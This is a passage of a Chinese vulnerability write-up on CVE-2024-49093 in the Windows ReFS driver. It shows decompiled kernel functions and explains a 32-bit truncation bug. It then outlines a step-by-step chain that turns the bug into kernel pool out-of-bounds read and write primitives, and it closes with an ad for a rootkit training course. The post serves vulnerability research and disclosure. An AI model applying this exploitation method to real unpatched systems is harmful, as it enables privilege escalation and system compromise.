1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | // positive sp value has been detected, the output may be wrong!__int64 __fastcall MsUpdateMetaRow(CmsVolume **a1, CmsBPlusTable *a2, CmsRowWithBuffer *a3, BYTE *UserBuffer){ _QWORD *v6; // r14 CmsVolume *v7; // rcx __int64 v8; // r10 CmsBPlusTable *v9; // r11 int v10; // edi int v11; // ebx unsigned int val_len; // r12d __int64 v13; // r15 int v14; // r9d unsigned int v15; // edi unsigned int v16; // r12d struct SmsLookupStack *v17; // rax __int64 v18; // r15 __int64 v21; // [rsp+10h] [rbp-218h] _CmsKey key; // [rsp+18h] [rbp-210h] BYREF CmsRowWithBuffer v23; // [rsp+28h] [rbp-200h] BYREF unsigned int v24; // [rsp+78h] [rbp-1B0h] int v25; // [rsp+7Ch] [rbp-1ACh] BYTE *v26; // [rsp+80h] [rbp-1A8h] __int64 v27; // [rsp+88h] [rbp-1A0h] BYREF __int128 v28; // [rsp+A0h] [rbp-188h] int v29; // [rsp+B0h] [rbp-178h] __int64 v30; // [rsp+B8h] [rbp-170h] BYREF struct CmsTableCursor CmsTableCursor; // [rsp+E8h] [rbp-140h] BYREF BYTE *v32; // [rsp+210h] [rbp-18h] _QWORD *v33; // [rsp+218h] [rbp-10h] v6 = v33; LOWORD(v28) = 0; v29 = 0; CmsRowWithBuffer::GetPhysicalKey(a3, &key); CmsMatchAllCursor::CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor, &key); memset(&v23, 0, 0x14); v23.row.val_ptr = 0LL; CmsVolume::BeginTopLevelActionInternal( v7, (struct CmsTransactionContext *)a1, (struct _SmsTopLevelAction *)&v27, 0, 0); if ( (*(_DWORD *)(*((_QWORD *)v9 + 3) + 44LL) & 1) != 0 ) { if ( (*(_BYTE *)(v8 + 40) & 2) != 0 ) { *(_QWORD *)key.ptr = 0LL; v11 = *(_DWORD *)&v23.inline_storage[4]; while ( 1 ) { v10 = CmsTable::Enumerate(v9, a1, &CmsTableCursor, &v23, 0xB05, 0); if ( v10 ) break; v23.storage = (BYTE *)(unsigned int)v23.row.key.ptr->field_4; val_len = v23.row.val_len; *(_QWORD *)&v23.flags = v23.row.val_len; v13 = v6[1]; // BytesToWrite v21 = *v6; // offset + scb->AttributeHdrLength if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes ) goto LABEL_14; if ( IsWithinRange<_RANGE,unsigned __int64>(v6, &v23.storage) ) { v15 = *(_DWORD *)v6 - v14; v16 = val_len - v15; if ( v16 >= *((_DWORD *)v6 + 2) ) v16 = *((_DWORD *)v6 + 2); v17 = SmsLookupStack::Copy((__int64 *)&CmsTableCursor.pin, (SmsLookupStack *)&v30, (__int64)a1, 0); *(_DWORD *)v23.inline_storage = v16; *(_QWORD *)&v23.inline_storage[8] = UserBuffer; *(_CmsKey *)&v23.inline_storage[16] = v23.row.key; v24 = v16; v25 = v11; v26 = UserBuffer; v10 = CmsBPlusTable::UpdateInIndex(a2, (__int64)a1, (const void **)&v23.inline_storage[16], v17, v15); SmsLookupStack::~SmsLookupStack((SmsLookupStack *)&v30); if ( v10 < 0 ) break; UserBuffer += v16; v32 = UserBuffer; *v6 = v16 + v21; v18 = v13 - v16; v6[1] = v18; if ( !v18 ) break; v9 = a2; } else { v9 = a2; } } } else { v10 = 0xC000000D; } } else {LABEL_14: v10 = 0xC00000BB; } CmsTableCursorBase::CleanCursorAfterEnumerate(&CmsTableCursor, a1); CmsVolume::AbsorbOrAbortTopLevelAction( a1[1], (struct CmsTransactionContext *)a1, (struct _SmsTopLevelAction *)&v27, v10); *(_QWORD *)key.ptr = 0LL; CmsMatchAllCursor::~CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor); return (unsigned int)v10;} |
真正的数据写入位于CmsBPlusTable::UpdateInIndex,但在此之前会做一个边界检查:if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes ),可以将其写为:
1 | if(BytesToWrite + offset + scb->AttributeHdrLength > v23.row.key.ptr->RecordSizeBytes) |
v23.row.key.ptr->RecordSizeBytes 来自当前常驻记录的“记录总大小”字段。
RecordSizeBytes 就是当前 resident 记录的总大小(约 = 0x3C + DataLen,再综合 8 字节对齐)。这行检查的含义为:WriteFile的范围是否落在这条 resident 记录的边界内?
正常情况下,比如在第一次写 0x200 后,内核会在第二次更大写入前对 resident 记录做预扩容(本质上是把记录重写一份更大的 COW 版本)。比如第二次要写的 0x400,则新的 RecordSizeBytes = 0x3C + 0x400 = 0x43C,因此检查能够通过。
但是在利用漏洞的情况下,我们绕过了常驻阈值并错误更新了 AllocationSize,没有触发 resident 记录的预扩容,于是 RecordSizeBytes 仍然是 0x23C(= 0x3C + 0x200)。此时第二次写 0x400,因此0x400 + 0 + 0x3C > 0x23C分支成立,因此检查未通过,WriteFile会报错The request is not supported.所以我们无法直接用WriteFile进行越界写。
我们现在重新回顾RefsAddAllocationForResidentWrite漏洞所造成的效果:通过64位截断绕过了常驻阈值的检查,然后用32位值去更新scb的AllocationSize;经过调试发现即使WriteFile返回了错误,AllocationSize也没有被回滚。
同时注意到当写入超过常驻阈值时,ReFS 会调用 RefsConvertToNonResident 把数据流从 resident 切换到 non-resident:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 | void __fastcall RefsConvertToNonResident(struct _IRP_CONTEXT *a1, struct _SCB *scb){ PVOID Fcb; // r14 unsigned int v5; // r8d PVOID new_data; // r15 char v7; // r12 __int16 AttributeTypeCode; // ax int ScbState; // eax bool v10; // zf char v11; // al int v12; // eax char v13; // al struct CmsRowWithBuffer *v14; // r9 unsigned int AttributeLength; // ebx unsigned int *UntypedAttribute; // r13 __int64 v17; // rcx DWORD original_size; // r13d __int64 v19; // rbx struct _ROLLBACK_STRUCT *v20; // rax __int64 v21; // rdx unsigned int v22; // edx bool v23; // r8 CmsBPlusTable **Entry; // rax struct CmsTransactionContext *v25; // r10 __int64 v26; // rdx __int64 v27; // r11 NTSTATUS v28; // eax unsigned int v29; // r8d __int64 v30; // r9 struct _SCB *v31; // rax struct _MS_FAST_RESOURCE_OWNER_ENTRY *IrpContextPagingIoOwnerEntryRelease; // rax unsigned int v33; // r8d __int64 v34; // r9 struct _MS_FAST_RESOURCE_OWNER_ENTRY *v35; // rbx char v36; // [rsp+41h] [rbp-277h] unsigned int *v37; // [rsp+48h] [rbp-270h] BYREF NTSTATUS Status; // [rsp+50h] [rbp-268h] unsigned int allocate_size; // [rsp+54h] [rbp-264h] void *original_data; // [rsp+58h] [rbp-260h] struct _VCB *v41; // [rsp+60h] [rbp-258h] PVOID v42; // [rsp+68h] [rbp-250h] struct _SCB *v43; // [rsp+70h] [rbp-248h] PVOID v44; // [rsp+78h] [rbp-240h] struct _IRP_CONTEXT *v45; // [rsp+80h] [rbp-238h] const struct _CmsRow *AttributeManager[15]; // [rsp+88h] [rbp-230h] BYREF __int16 v47; // [rsp+100h] [rbp-1B8h] __int64 v48; // [rsp+280h] [rbp-38h] v45 = a1; v43 = scb; Fcb = scb->Fcb; v44 = Fcb; v41 = (struct _VCB *)*((_QWORD *)Fcb + 10); v48 = 0LL; v47 = 0; RefsAttributeManager::Initialize((RefsAttributeManager *)AttributeManager); new_data = 0LL; v42 = 0LL; v7 = 0; v36 = 0; AttributeTypeCode = scb->AttributeTypeCode; if ( AttributeTypeCode != 128 && AttributeTypeCode != 176 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 37LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225488LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741808, a1, "ProtogonAttributes.c", 0xC37u); RefsRaiseStatusInternal(a1, -1073741808, v5); __debugbreak(); } if ( (*((_BYTE *)a1 + 8) & 1) == 0 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 38LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225688LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC3Fu); RefsRaiseStatusInternal(a1, -1073741608, v5); goto LABEL_53; } ScbState = scb->ScbState; if ( (ScbState & 8) == 0 || (v10 = (ScbState & 0x40) == 0, v11 = 1, !v10) ) v11 = 0; if ( v11 ) { if ( (unsigned __int8)ExIsFastResourceHeld(*((_QWORD *)Fcb + 12)) ) { if ( !(unsigned __int8)ExIsFastResourceHeldExclusive(*((_QWORD *)scb->Fcb + 12)) ) { v31 = scb; if ( scb->NodeTypeCode != 0x802 ) v31 = (struct _SCB *)scb->Fcb; IrpContextPagingIoOwnerEntryRelease = RefsGetIrpContextPagingIoOwnerEntryRelease( a1, (struct _MS_FAST_RESOURCE *)v31->FastResource); v35 = IrpContextPagingIoOwnerEntryRelease; if ( !IrpContextPagingIoOwnerEntryRelease || !(unsigned __int8)ExTryToConvertFastResourceSharedToExclusive(v34, IrpContextPagingIoOwnerEntryRelease) ) {LABEL_60: *((_QWORD *)a1 + 1) |= 0x100uLL; if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D( WPP_GLOBAL_Control->AttachedDevice, 39LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 0xC00000D8LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC62u); RefsRaiseStatusInternal(a1, -1073741608, v33); __debugbreak(); JUMPOUT(0x1C00FCF81LL); } --*((_DWORD *)v35 + 18); *((_DWORD *)v35 + 19) &= ~2u; v7 = 1; } } else { RefsAcquireExclusivePagingIo(a1, (struct _FCB *)Fcb, 1u); v36 = 1; } RefsAcquireExclusiveScb((__int64)a1, (__int64)scb, 0LL); v12 = scb->ScbState; if ( (v12 & 8) == 0 || (v10 = (v12 & 0x40) == 0, v13 = 1, !v10) ) v13 = 0; if ( !v13 ) goto LABEL_32; RefsBindMinstoreTransaction(a1); RefsAttributeManager::LookupAttributeForScb( (RefsAttributeManager *)AttributeManager, (struct CmsTransactionContext **)a1, scb); RefsAttributeManager::CopyFullAttribute(AttributeManager, a1, (struct _FCB *)Fcb, v14); AttributeLength = RefsAttributeManager::GetAttributeLength((RefsAttributeManager *)AttributeManager); UntypedAttribute = (unsigned int *)RefsAttributeManager::GetUntypedAttribute( (RefsAttributeManager *)AttributeManager, AttributeLength); RefsAttributeManager::DeleteAttribute( (__int64)AttributeManager, (struct CmsTransactionContext **)a1, (__int64)Fcb, 0); v37 = UntypedAttribute; v17 = *UntypedAttribute; original_data = (char *)UntypedAttribute + v17; original_size = scb->FileSizes.FileSize.LowPart; allocate_size = -(1 << *((_DWORD *)v41 + 138)) & (AttributeLength - v17 + (1 << *((_DWORD *)v41 + 138)) - 1); v19 = allocate_size; if ( original_size != allocate_size ) { new_data = ExAllocatePoolWithTag((POOL_TYPE)0x210, allocate_size, 'AorP'); v42 = new_data; memset(new_data, 0, allocate_size); memmove(new_data, original_data, original_size); original_data = new_data; } if ( scb->AttributeTypeCode == 128 ) { v20 = RefsAddStructToRollbackList(a1, 0x823u, Fcb, 1); v21 = ~(*((_QWORD *)v20 + 5) & 0x80000000LL) & 0x80000000LL; *((_QWORD *)v20 + 5) |= v21; *((_QWORD *)v20 + 4) |= *((_QWORD *)Fcb + 1) & v21; *((_DWORD *)v20 + 1) |= 1u; scb->ScbState &= ~8u; *((_QWORD *)Fcb + 1) &= ~0x80000000uLL; } scb->SecureState = 6; scb->FileSizes.AllocationSize.QuadPart = 0LL; if ( scb->NodeTypeCode == 0x805 ) scb->ValidDataHighWatermark = 0LL; RefsAllocateNonResidentDataAttribute(a1, (__int64)scb, scb->AttributeFlags, v19); if ( (v37[1] & 1) == 0 || (v37 = 0LL, Entry = (CmsBPlusTable **)CmsTableSetBase::GetEntry( *((CmsTableSetBase **)scb->BPlusTable + 2), *((_QWORD *)scb->BPlusTable + 3), v23), CmsBPlusTable::GetIntegrityInformation(*Entry, v25, (struct _MINSTORE_INTEGRITY_INFORMATION_BUFFER *)&v37), HIDWORD(v37) |= 1u, v28 = MsSetStreamIntegrityInformation(v27, v26, &v37, 0LL), v30 = (unsigned int)v28, Status = v28, v28 >= 0) ) { if ( original_size ) { RefsWriteFileSizes(a1, scb, 0LL, 2u); RefsWriteBytes(a1, v41, scb, 0LL, (char *)original_data, allocate_size); scb->ScbState &= ~4u; } RefsCheckpointCurrentTransaction((struct _LIST_ENTRY *)a1, v22);LABEL_32: if ( new_data ) ExFreePoolWithTag(new_data, 0); RefsAttributeManager::Cleanup((RefsAttributeManager *)AttributeManager, a1); RefsReleaseFcb(a1, (struct _FCB *)scb->Fcb); if ( v36 ) { RefsReleasePagingResource(a1, Fcb); *((_QWORD *)a1 + 7) = 0LL; } if ( v7 ) RefsConvertPagingResourceExclusiveToShared(a1, Fcb); return; }LABEL_53: if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 40LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, v30); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(Status, a1, "ProtogonAttributes.c", 0xCF4u); RefsRaiseStatusInternal(a1, Status, v29); goto LABEL_60; }} |
这个函数做的事情很直接:超过常驻阈值后,将常驻属性转换为非常驻。过程中它会按卷的扇区大小重新计算/对齐一个目标大小,为非常驻数据区开辟新内存,然后把原本常驻里的有效数据拷贝到这块新空间里,最后将文件数据流切换为非常驻表示。
基于此,可以尝试以下的利用链:
1.先写入一段准备越界写的数据(长度 < 0x800,确保 resident);
2.通过漏洞将AllocationSize篡改为0
3.随后再发起一次较大写入,触发 RefsConvertToNonResident。
RefsConvertToNonResident 在为非常驻数据区计算目标长度/对齐时得到0,导致实际在池里只分到很小的块(0x20)。但拷贝逻辑仍然无条件把先前 resident 的有效负载拷贝到这块新空间——于是完成了OOB write。
下面是写入0x700长度的调试结果:
申请0 size的池内存:

向该pool拷贝0x700长度的数据,造成越界写

最终我们可以通过RefsConvertToNonResident非常驻内存转换实现了在0x20的池内存上进行最多0x800-0x10长度的OOB write。
总结
本文简要回顾了 ReFS 的基础(MinStore B+ 与 COW)、resident 与 non-resident 的差异,并通过补丁对比定位并分析了 CVE-2024-49093 的根因:把 64 位写入末端误按 32 位处理,导致常驻阈值绕过与文件尺寸状态不一致。
漏洞利用上:
越界读:制造 AllocationSize ≪ FileSize 后,RefsNonCachedResidentRead 会把 resident 记录复制到池块上再 memmove 给用户,请求长度超过真实数据就能在内核池上OOB read。
越界写:由于 MsUpdateMetaRow 的边界检查,直接 OOB 写行不通;但通过将AllocationSize截断到0并触发 RefsConvertToNonResident,在“常驻→非常驻”的迁移阶段可以在小池块上形成 OOB write。
后续更进一步的稳定利用需要结合池风水、对象布局等。
Reference
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!